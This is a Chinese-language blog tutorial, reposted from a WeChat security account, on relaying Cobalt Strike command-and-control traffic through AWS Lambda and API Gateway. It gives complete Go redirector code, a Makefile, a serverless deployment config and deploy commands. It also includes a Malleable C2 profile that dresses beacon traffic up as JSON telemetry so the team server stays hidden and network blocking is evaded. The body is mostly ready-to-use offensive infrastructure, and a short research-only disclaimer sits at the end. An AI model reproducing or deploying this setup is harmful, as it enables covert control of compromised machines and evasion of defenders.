【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

admin

140350
文章

117
评论

2021年9月2日09:51:24评论620 views字数 6126阅读20分25秒阅读模式

简介

本文主要介绍借助AWS Lambda服务来实现Cobalt Strike数据的转发。因AWS Lambda是AWS官方所提供的服务，所以借助其转发流量具有加密传输、高信誉IP/域名的特点。

工作原理

【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

[来源] https://blog.xpnsec.com/

Lambda中运行的函数是一个简单的http代理，通过API Gateway暴露在公网。所有对API Gateway的访问请求经过Redirector Function的处理都会转发到team server。靶机只与API Gateway交互，从而隐藏team server的IP

环境和工具

AWS账户一枚：开启Lambda 和 API Gateway 两个服务
Ubuntu server：用于运行Serverless Framework，编译和部署serverless application到AWS Lambda

Notice: Serverless在 Linux/Mac OS/Windows 均可安装，详见https://serverless.com/framework/docs/getting-started/

公网Cobalt Strike服务器：流量需要经公网转发，需要公网服务器。如果不具备条件请考虑ngrok、花生壳、frp等内网映射工具

准备工作

在Ubuntu server上安装Serverless Framework
登陆AWS控制台，生成一对API Key & Secret，参考文档 AWS - Credentials

在serverless中配置API Key & Secret

serverless config credentials --provider aws --key 1234 --secret 5678

在Ubuntu server中安装golang编译环境，参考golang官方文档https://golang.org/doc/install#install

安装golang AWS Lambda 库

go get github.com/aws/aws-lambda-go/lambda

创建相关文件

创建如下目录结构

aws_redictor/
|-- Makefile
|-- redictor # 函数文件夹
|   |-- main.go # 主程序代码
|-- serverless.yml # 部署配置文件

Makefile

.PHONY: build clean deploy

build:
    env GOOS=linux go build -ldflags="-s -w" -o bin/redirector redirector/main.go

clean:
    rm -rf ./bin

deploy: clean build
    sls deploy --verbose

main.go

package main

import (
    "crypto/tls"
    "encoding/base64"
    "io/ioutil"
    "log"
    "net/http"
    "net/url"
    "os"
    "strings"

    "github.com/aws/aws-lambda-go/events"
    "github.com/aws/aws-lambda-go/lambda"
)

type Response events.APIGatewayProxyResponse

func Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {

    var bodyDecoded []byte
    var body []byte
    var err error
    var outboundHeaders map[string]string

    teamserver := os.Getenv("TEAMSERVER")
    client := http.Client{}

    // Set to allow invalid HTTPS certs on the back-end server
    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}

    // Build our request URL as received to pass onto CS
    url, err := url.Parse(teamserver + "/" + request.RequestContext.Stage + request.Path)

    // Extract any provided query parameters
    if request.QueryStringParameters != nil {
        q := url.Query()
        for key, value := range request.QueryStringParameters {
            q.Set(key, value)
        }
        url.RawQuery = q.Encode()
}

    // Handle potential base64 encoding of body
    if request.IsBase64Encoded {
        bodyDecoded, err = base64.StdEncoding.DecodeString(request.Body)
        if err != nil {
            log.Fatalf("Error base64 decoding AWS request body: %v", err)
        }
    } else {
        bodyDecoded = []byte(request.Body)
}

    // Send the request to our Team Server
    req, err := http.NewRequest(request.HTTPMethod, url.String(), strings.NewReader(string(bodyDecoded)))
    if err != nil {
        log.Fatalf("Error forwarding request to TeamServer: %v", err)
}

    // Add our inbound headers to the request
    for key, value := range request.Headers {
        req.Header.Set(key, value)
}

    // Forward the request to our TeamServer
    resp, err := client.Do(req)
    if err != nil {
        log.Fatalf("Error forwarding request to TeamServer: %v", err)
}

    // Parse the TS response headers
    outboundHeaders = map[string]string{}

    for key, value := range resp.Header {
        outboundHeaders[key] = value[0]
}

    // Store the TS response body
    body, err = ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Fatalf("Error receiving request from TeamServer")
}

    // Forward the response onto beacon
    return events.APIGatewayProxyResponse{StatusCode: resp.StatusCode, Body: string(body), Headers: outboundHeaders}, nil
}

func main() {
    lambda.Start(Handler)
}

serverless.yml

service: lambda-front

frameworkVersion: ">=1.28.0 <2.0.0"

provider:
  name: aws
  runtime: go1.x
  stage: api
  region: us-west-1         # 可用区代码
  environment:
    TEAMSERVER: ${opt:teamserver}

package:
 exclude:
   - ./**
 include:
   - ./bin/**

functions:
  redirector:
    handler: bin/redirector
    events:
      - http:
          path: /{all+}     # 接受所有请求url
          method: any       # 接受所有协议

编译&部署

准备好以上文件后我们可以进行相关部署工作

cd ~/aws_redictor
Make
sls deploy --teamserver https://<your-domain.com>  # 此处一定要加https/http，否则报错

执行上述命令需要约2分钟，执行完毕后，将会得到如下返回

【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

此时需要记下返回的url，在之后的创建listener时将会使用

编写Cobalt Strike Malleable Profile

我们需要修改交互方式以适应redirector代码的要求

lambda.profile

http-config {
    set trust_x_forwarded_for "true";
}

http-get {
    set uri "/api/fetch";
    client {
        metadata {
            base64url;
            netbios;
            base64url;
            parameter "token";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";

        output {
            base64;
            prepend "{"version":"2","count":"1","data":"";
            append ""}";
            print;
        }
    }
}

http-post {
    set uri "/api/telemetry";
    set verb "POST";

    client {
        parameter "action" "GetExtensibilityContext";
        header "Content-Type" "application/json; charset=utf-8";
        header "Pragma" "no-cache";

        id {
            parameter "token";
        }

        output {
            mask;
            base64;
            prepend "{"version":"2","report":"";
            append ""}";
            print;
        }
    }

    server {
        header "api-supported-versions" "2";
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";

        output {
            base64url;
            prepend "{"version":"2","count":"1","data":"";
            append ""}";
            print;
        }
    }
}

// 如果你配置了https证书，那么你也需要填入以下内容，请自行替换文件名和密码。有关如何部署一个有效证书，请查阅我们之前的文章《隐藏Cobalt Strike C2 server——基本篇》中的CDN部分
https-certificate {
    set keystore "<domain>.store";
    set password "123456";
}

将profile应用于team server

./teamserver <ip_address> <password> </path/to/lambda.profile>

测试访问

启动team server后，直接访问http://< team server ip>/api/fetch会有如下json数据返回

{"version": "2","count": "1","data": ""}

说明team server工作正常

此时访问 https://< API ID >.execute-api.us-east-1.amazonaws.com/api/fetch 有同样的内容返回，说明lambda和API Gateway工作正常。如果工作异常，可以在https://console.aws.amazon.com/cloudwatch/home?region=us-east-1#logs中查找相关日志进行分析

创建listener&生成payload

如图所示创建listener，填入前面返回的地址

【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

生成一个stageless payload

成功上线

两点提示

为什么一定要用stageless payload：stage payload在上线时会首先请求文件名为四个随机字母的文件来加载profile中的相关配置，并且是直接与listen中所填的https host地址进行通信。在redirector代码中并没有对此进行转发，payload请求不到配置文件会直接闪退，如下图所示

此外，Cobalt Strike作者在发布4.0版本后也表示以后会尽量使用stageless payload，因为相比之下stage payload更容易被识别
即便没有在team server配置证书也要选择https beacon：因为与API Gateway交互数据使用的是https

总结

使用AWS Lambda + API Gateway 组合进行流量转发，域名是*.execute-api.us-east-1.amazonaws.com，IP段为AWS所属IP，交互过程https加密，有效防止了从网络这一途径阻断payload传输信息

参考资料

https://blog.xpnsec.com/aws-lambda-redirector/

本文主要文件均来源于上述文章，讲述的原理十分详细，但原作者所提供相关代码有bug，并且在有些地方未描述清楚，笔者对相关代码进行了修复，并补充了一些内容。

欢迎关注【宽字节安全】公众号，获取更多好玩的安全知识

本文始发于微信公众号（宽字节安全）：【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

【中级篇】使用AWS Lambda转发 Cobalt Strike 流量

简介

相关名词

工作原理

环境和工具

准备工作

创建相关文件

创建如下目录结构

Makefile

main.go

serverless.yml

编译&部署

编写Cobalt Strike Malleable Profile

lambda.profile

测试访问

创建listener&生成payload

两点提示

总结

参考资料

Clash Verge rev提权与命令执行分析

【实战】手把手学习写一个MCP服务，获取热榜文章

借助pikachu和DVWA靶场带你走进跨站请求伪造CSRF攻击

揭露导致组织论坛崩溃的简单错误

深度学习基础架构革新？通过梯度近似寻找Normalization的替代品

栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解

windows rookit防护-权限提升

通过手机和邮箱查真实姓名-币安

常见的信息泄露漏洞挖掘（第二部分）

实战中踩过的坑：我是如何用Ingram搞定摄像头漏洞扫描的

发表评论

在线咨询

微信